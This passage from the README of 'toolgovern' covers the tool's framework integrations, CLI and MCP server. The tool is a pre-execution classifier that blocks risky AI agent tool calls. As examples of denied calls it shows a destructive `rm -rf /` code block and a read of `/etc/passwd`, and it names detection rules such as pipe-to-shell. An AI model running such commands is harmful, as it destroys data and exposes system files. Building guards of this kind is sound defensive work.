exactly as you would with the raw tools array --\n# every call now flows through toolgovern's classifier first.\n```\n\nSee [`integrations/langgraph-python/README.md`](./integrations/langgraph-python/README.md) for\nthe tool-definition-boundary alternative (`governed_tool`/`governed_tools`) and the verified,\nversion-specific `handle_tool_errors` behavior a denial surfaces through.\n\n### `toolgovern-integration-agent-framework` -- Microsoft Agent Framework (Python)\n\nSee [`integrations/agent-framework/README.md`](integrations/agent-framework/README.md)\nfor the full writeup, including honest PASS/PARTIAL/FAIL verdicts against real upstream\n`microsoft/agent-framework` issues. This one is Python-only; the .NET side of Agent Framework has\nits own separate adapter -- see the \".NET\" section below.\n\nThis isn't published to PyPI yet -- install it from source:\n\n```bash\ngit clone https://github.com/RudrenduPaul/toolgovern.git\ncd toolgovern\npip install -e python\npip install -e integrations/agent-framework\n```\n\n```python\nfrom toolgovern import GovernToolOptions, ScopeDeclaration\nfrom toolgovern_integration_agent_framework import governed_function_tool\n\n\ndef read_file(path: str) -> str:\n    with open(path) as f:\n        return f.read()\n\n\ntool = governed_function_tool(\n    read_file,\n    GovernToolOptions(scope=ScopeDeclaration(filesystem=[\"/workspace\"]), agent_id=\"research-agent\"),\n    description=\"Read a file from the workspace.\",\n)\n# tool is a real agent_framework.FunctionTool -- use it exactly like any other tool.\n```\n\nA `ToolGovernFunctionMiddleware` is also included for surfacing a per-call require-approval\nverdict through Agent Framework's own `function_approval_request`/`function_approval_response`\nflow (rather than a separate side channel), plus a connection-time MCP-server trust gate wiring\ntoolgovern's `mcp_trust` module to `MCPStreamableHTTPTool`. See that package's README for both.\n\n### `toolgovern-integration-crewai` -- CrewAI (Python)\n\nCrewAI's tool-execution surface is `crewai.tools.BaseTool` -- a concrete `run()` that validates\narguments and claims a usage-count slot, then calls an abstract `_run()` a subclass implements\n(confirmed against the real, installed `crewai` 1.15.4 wheel, not assumed from an older release).\nCrewAI does ship a global, process-wide `before_tool_call` hook registry, but that's a different\nshape from `govern_tool()`'s per-tool-instance, per-agent-identity, per-scope gate -- so this\npackage wraps at the `BaseTool` boundary itself instead, the same approach the LangGraph.js\nadapter above uses. No monkey-patching: it returns a new `BaseTool` with the same `name`,\n`description`, and `args_schema`, calling the real tool's own `run()` only after the classifier\nallows the call. This isn't published to PyPI yet -- install it from source:\n\n```bash\ngit clone https://github.com/RudrenduPaul/toolgovern.git\ncd toolgovern\npip install -e python\npip install -e integrations/crewai\n```\n\n```python\nfrom crewai import Agent\nfrom crewai.tools import BaseTool\nfrom toolgovern import GovernToolOptions, ScopeDeclaration\nfrom toolgovern_integration_crewai import governed_crewai_tool\n\n\nclass ShellTool(BaseTool):\n    name: str = \"shell\"\n    description: str = \"Runs a shell command.\"\n\n    def _run(self, command: str) -> str:\n        import subprocess\n        return subprocess.run(command, shell=True, capture_output=True, text=True).stdout\n\n\ngoverned_shell = governed_crewai_tool(\n    ShellTool(),\n    GovernToolOptions(\n        scope=ScopeDeclaration(network=False, filesystem=[\"./workspace\"]),\n        agent_id=\"research-sub\",\n        session_id=\"demo-session\",\n    ),\n)\n\nagent = Agent(role=\"Researcher\", goal=\"...\", backstory=\"...\", tools=[governed_shell])\n```\n\nSee [`integrations/crewai/README.md`](integrations/crewai/README.md) for the full writeup,\nincluding why there's no plural `governed_crewai_tools()` helper (CrewAI tools are commonly\nassigned per-agent with different scopes, so wrapping a whole list with one shared options object\nis the wrong default here).\n\n### `toolgovern-integration-autogen` -- Microsoft AutoGen (Python)\n\nTargets AutoGen's two real dispatch call sites directly:\n`GovernedCodeExecutor` wraps any `CodeExecutor` (`LocalCommandLineCodeExecutor`,\n`DockerCommandLineCodeExecutor`, ...) so every `CodeBlock` is classified by TG01/TG02 before the\nwrapped executor runs it -- the flagship issue this addresses,\n[microsoft/autogen#7462](https://github.com/microsoft/autogen/issues/7462), is that\n`LocalCommandLineCodeExecutor` writes LLM-generated code straight to disk with only a\nconstruction-time `UserWarning` as a safeguard. `governed_autogen_tool()` wraps any\n`autogen_core.tools.Tool` at its `run_json()` dispatch point instead, the same one\n`ToolAgent`/`AssistantAgent` both use. This isn't published to PyPI yet -- install it from source:\n\n```bash\ngit clone https://github.com/RudrenduPaul/toolgovern.git\ncd toolgovern\npip install -e python\npip install -e integrations/autogen\n```\n\n```python\nfrom autogen_ext.code_executors.local import LocalCommandLineCodeExecutor\nfrom toolgovern import GovernToolOptions, ScopeDeclaration, ToolGovernDenialError\nfrom toolgovern_integration_autogen import GovernedCodeExecutor\n\nreal_executor = LocalCommandLineCodeExecutor(work_dir=\"./coding\")\ngoverned = GovernedCodeExecutor(real_executor, GovernToolOptions(scope=ScopeDeclaration()))\n\n# A dangerous block never reaches LocalCommandLineCodeExecutor.execute_code_blocks() at all.\ntry:\n    await governed.execute_code_blocks(\n        [CodeBlock(code=\"import os; os.system('rm -rf /')\", language=\"python\")], CancellationToken()\n    )\nexcept ToolGovernDenialError as e:\n    print(f\"denied before execution: {e}\")\n```\n\nSee [`integrations/autogen/README.md`](integrations/autogen/README.md) for the full writeup,\nincluding honest verdicts against real upstream issues this does and doesn't address -- it's a\npre-execution classifier, not a sandbox: it doesn't enforce process isolation or resource limits,\nso pair it with `DockerCommandLineCodeExecutor` (or similar) for genuine isolation.\n\n### `toolgovern-integration-claude-agent-sdk` -- Claude Agent SDK (Python)\n\nRoutes tool calls through a real `PreToolUse` hook -- verified against the installed\n`claude-agent-sdk` package (`claude_agent_sdk/types.py`) directly, not a docs summary. The hook\nfires before any tool executes, receives the tool name and input the model is about to invoke,\nand returns a structured `permissionDecision` the CLI itself enforces, so there's no per-tool\nwrapper call site to get right or accidentally miss. This isn't published to PyPI yet -- install\nit from source:\n\n```bash\ngit clone https://github.com/RudrenduPaul/toolgovern.git\ncd toolgovern\npip install -e python\npip install -e integrations/claude-agent-sdk\npip install claude-agent-sdk\n```\n\n```python\nfrom claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient, HookMatcher\nfrom toolgovern import ScopeDeclaration\nfrom toolgovern_integration_claude_agent_sdk import GovernedHookOptions, governed_pretooluse_hook\n\nhook = governed_pretooluse_hook(\n    GovernedHookOptions(\n        scope=ScopeDeclaration(filesystem=[\"/workspace\"], network=[\"api.internal.example.com\"]),\n        agent_id=\"research-sub\",\n        session_id=\"demo-session\",\n    )\n)\n\noptions = ClaudeAgentOptions(hooks={\"PreToolUse\": [HookMatcher(hooks=[hook])]})\n```\n\nA `require-approval` verdict has no in-hook way to pause for asynchronous human review, so it's\nwired to the same `PendingApprovalRegistry` the core ships (see the Approval table above): the\ndecision is registered durably first, an optional `on_approval_required` handler gets a bounded\nwindow to answer, and if there's no handler, it raises, or it times out, the hook fails closed\n(deny) with the pending-approval ID named in the reason so it can be resolved out of band. See\n[`integrations/claude-agent-sdk/README.md`](integrations/claude-agent-sdk/README.md) for the full\nwriteup.\n\n### .NET -- `ToolGovern.Net` and `ToolGovern.AgentFramework`\n\nA faithful .NET port of the core (the same multi-rule classifier -- shell-risk, filesystem-scope,\nnetwork-egress, credential-access, cross-agent-inheritance, information-flow -- the\nintersection-only scope registry, the signed hash-chained trace, and the `GovernTool()`\npre-execution middleware gate) lives under [`dotnet/ToolGovern`](dotnet/ToolGovern), targeting\n`net10.0`. `ToolGovern.AgentFramework` builds on it to gate Microsoft Agent Framework (.NET)\n`AIFunction` tool calls, using the exact `DelegatingAIFunction` extension point the framework's own\nmaintainer pointed integrators to in\n[agent-framework#2254](https://github.com/microsoft/agent-framework/issues/2254). Neither package\nis published to NuGet yet -- build from source:\n\n```bash\ngit clone https://github.com/RudrenduPaul/toolgovern.git\ncd toolgovern/dotnet/ToolGovern.AgentFramework\ndotnet build\n```\n\n```csharp\nusing Microsoft.Extensions.AI;\nusing ToolGovern;\nusing ToolGovern.AgentFramework;\nusing ToolGovern.Middleware;\n\nstring ReadFile(string path) => File.ReadAllText(path);\n\nAIFunction tool = AIFunctionFactory.Create(ReadFile, \"read_file\", \"Reads a file from the workspace.\");\n\nAIFunction governed = tool.WithToolGovern(new GovernToolOptions\n{\n    Scope = new ScopeDeclaration { Network = NetworkScope.False, Filesystem = [\"/workspace\"] },\n    AgentId = \"research-agent\",\n});\n\n// Outside the declared scope -- ToolGovernDenialError, ReadFile() never runs.\nawait governed.InvokeAsync(new AIFunctionArguments { [\"path\"] = \"/etc/passwd\" });\n```\n\nSee [`dotnet/ToolGovern.AgentFramework/src/ToolGovern.AgentFramework/README.md`](dotnet/ToolGovern.AgentFramework/src/ToolGovern.AgentFramework/README.md)\nfor the full writeup, including an honest PARTIAL verdict against\n[agent-framework#2254](https://github.com/microsoft/agent-framework/issues/2254) (this package is\na real, usable answer to the DX gap reported there, but doesn't itself land a first-class\nframework API -- the maintainer said as much in the thread) and root-caused FAIL -- N/A verdicts on\nfive other .NET-tagged issues that live in layers of `Microsoft.Agents.AI` this kind of\ntool-definition-boundary wrapper has no reach into.\n\n## CLI\n\n```bash\nnpx toolgovern-cli validate ./toolgovern.policy.yml\nnpx toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny\nnpx toolgovern-cli audit ./toolgovern-trace.jsonl --verify-chain\nnpx toolgovern-cli init langgraph\n```\n\n![toolgovern-cli scaffolding a LangGraph integration file with init, then auditing the trace log with --json to print a single structured object an agent can parse programmatically](./docs/usage.gif)\n\nReal output from this repo's own example policy and the trace file generated above:\n\n```\n$ toolgovern-cli validate ./toolgovern.policy.example.yml\nOK  ./toolgovern.policy.example.yml is a valid toolgovern policy.\n\n$ toolgovern-cli audit ./toolgovern-trace.jsonl --decision deny\nDENY             research-sub -> bash  [TG01-pipe-to-shell, TG03-network-disabled, TG03-known-paste-relay, TG03-dns-resolves-private]  2026-08-04T06:15:37.265Z\n\n1 of 2 trace entries matched.\n\n$ toolgovern-cli init langgraph\nScaffolded langgraph integration at toolgovern.langgraph.ts.\nFill in your real tool(s) and confirm the policy path (./toolgovern.policy.yml) before running.\n```\n\n`validate` checks a policy file's structure and rule references before it loads at runtime.\n`audit` reads the local trace and filters by time window, decision, agent identity, or fired rule\nID. `--verify-chain` recomputes every entry's signature and confirms `prior_trace_id` links are\nintact. `init [oma|langgraph]` scaffolds a working integration file wiring toolgovern into the\nnamed (or auto-detected) framework, writing it to the current directory unless `--out` says\notherwise; `--force` overwrites an existing scaffold file. See `docs/trace-format.md` and\n`docs/security-model.md` for exactly what that does and doesn't prove, including the optional\n`--key-file` flag for HMAC-keyed traces.\n\n### Command reference\n\n| Command                  | Flags                                                                                                                                                | Exit codes                                            |\n| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------- |\n| `validate <policy-file>` | `--json`                                                                                                                                             | `0` valid, `1` invalid/unreadable, `2` missing arg    |\n| `audit <trace-file>`     | `--since <window>`, `--decision <allow\\|deny\\|require-approval>`, `--agent <id>`, `--rule <ruleId>`, `--verify-chain`, `--key-file <path>`, `--json` | `0` success, `1` chain/read failure, `2` bad flag/arg |\n| `init [oma\\|langgraph]`  | `--policy <path>`, `--out <path>`, `--force`, `--json`                                                                                               | `0` scaffolded, `1` write/detect failure, `2` bad arg |\n\nExit codes are structured on purpose: `0` only ever means the command did what it says, `1` is a\nruntime failure (bad file, failed chain, write error), `2` is a usage error (missing/invalid\nargument). Every non-zero exit prints its error to stderr in text mode, or as `error.message` in\n`--json` mode, so a caller always has something concrete to act on.\n\n### `--json` -- agent-parseable output\n\nEvery command above also takes `--json`, which prints one JSON object to stdout (nothing to\nstderr, in success or failure) instead of the formatted text shown above:\n\n```\n$ toolgovern-cli audit ./toolgovern-trace.jsonl --decision deny --json\n{\n  \"ok\": true,\n  \"command\": \"audit\",\n  \"data\": {\n    \"file\": \"./toolgovern-trace.jsonl\",\n    \"query\": { \"decision\": \"deny\" },\n    \"matched\": 1,\n    \"total\": 2,\n    \"entries\": [ { \"trace_id\": \"tg_2026-08-04_a7ad0a\", \"decision\": \"deny\", \"rule_fired\": [\"TG01-pipe-to-shell\", \"TG03-network-disabled\", \"TG03-known-paste-relay\", \"TG03-dns-resolves-private\"] } ]\n  }\n}\n```\n\nThis is what lets another AI agent invoke `toolgovern-cli` programmatically and parse the result\nreliably, the same way a script or CI job would: `ok` and the exit code always agree, `data`\ncarries the real objects (full `TraceEntry` rows for `audit`, every field intact), and errors land\nin a single `error.message` field, the one place to check for what went wrong. Full request/response\nshapes and worked examples for all three commands are in\n[`packages/toolgovern-cli/README.md`](packages/toolgovern-cli/README.md#--json----structured-output-for-scripts-and-agents).\n\n## MCP Server\n\nThe Python distribution (`toolgovern-cli` on PyPI) ships a Model Context Protocol server, so an\nMCP-compatible agent (Claude Desktop, Claude Code, or any other MCP client) can call `validate`\nand `audit` directly instead of shelling out and parsing text.\n\n```bash\npip install \"toolgovern-cli[mcp]\"\n```\n\nClaude Desktop config (`claude_desktop_config.json`):\n\n```json\n{\n  \"mcpServers\": {\n    \"toolgovern\": {\n      \"command\": \"toolgovern-mcp\"\n    }\n  }\n}\n```\n\nThe server exposes one tool, `run`, which takes the same argument list you'd pass to\n`toolgovern-cli` on the command line and returns its result as structured JSON -- it never\nraises, even on a bad file, a timeout, or non-JSON output; every failure comes back as\n`{\"error\": ...}` instead:\n\n```\nrun(args=[\"validate\", \"./toolgovern.policy.yml\", \"--json\"])\n```\n\nThis is a generic subprocess wrapper around the real CLI, not a second implementation of each\nsubcommand, so it stays in sync with `validate`, `audit`",
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